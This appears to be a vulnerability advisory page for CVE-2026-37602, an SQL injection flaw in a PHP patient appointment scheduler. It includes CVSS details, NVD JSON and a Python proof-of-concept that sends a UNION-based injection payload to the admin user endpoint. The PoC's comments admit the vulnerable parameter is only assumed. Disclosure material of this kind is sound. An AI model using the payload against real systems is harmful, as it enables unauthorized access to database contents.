CVE-2026-37602

Description

SourceCodester Patient Appointment Scheduler System v1.0 is vulnerable to SQL Injection in the file /scheduler/admin/user/manage_user.php.

CVSS Details

CVSS Score

2.7

Severity

LOW

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

SourceCodester Patient Appointment Scheduler System 1.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-37602
# Target: SourceCodester Patient Appointment Scheduler System v1.0
import requests

def check_sqli(target_url, session_cookie):
    # The vulnerable endpoint
    url = f"{target_url}/scheduler/admin/user/manage_user.php"
    
    # Headers and Cookies (High privilege required)
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
    }
    cookies = {
        "PHPSESSID": session_cookie # Replace with valid admin session
    }

    # Payload to test SQL Injection (Simple Union Based)
    # Assuming parameter 'id' is vulnerable
    payload = {
        "id": "1 UNION SELECT 1, user(), database(), version(), 5-- -"
    }

    try:
        response = requests.get(url, params=payload, headers=headers, cookies=cookies, timeout=10)
        if response.status_code == 200:
            print("[+] Request sent successfully.")
            print(f"[+] Response length: {len(response.text)}")
            # Analyze response content to confirm injection (e.g., looking for database version)
            if "mysql" in response.text.lower() or "root" in response.text.lower():
                print("[!] Potential SQL Injection confirmed.")
            else:
                print("[-] Injection not confirmed or output not visible.")
        else:
            print(f"[-] Server returned status code: {response.status_code}")
    except Exception as e:
        print(f"[!] Error occurred: {e}")

if __name__ == "__main__":
    target = "http://localhost" # Change to target IP
    sid = "admin_session_id_here"
    check_sqli(target, sid)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-37602
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-37602
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-37602/
[4] VulDB https://vuldb.com/cve/CVE-2026-37602
[5] https://github.com/shininadd/cve_report/blob/main/sourcecodester/patient-appointment-scheduler-system/SQL-3.md

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-37602", "sourceIdentifier": "[email protected]", "published": "2026-04-14T15:16:34.110", "lastModified": "2026-04-17T15:32:21.107", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "SourceCodester Patient Appointment Scheduler System v1.0 is vulnerable to SQL Injection in the file /scheduler/admin/user/manage_user.php."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://github.com/shininadd/cve_report/blob/main/sourcecodester/patient-appointment-scheduler-system/SQL-3.md", "source": "[email protected]"}]}}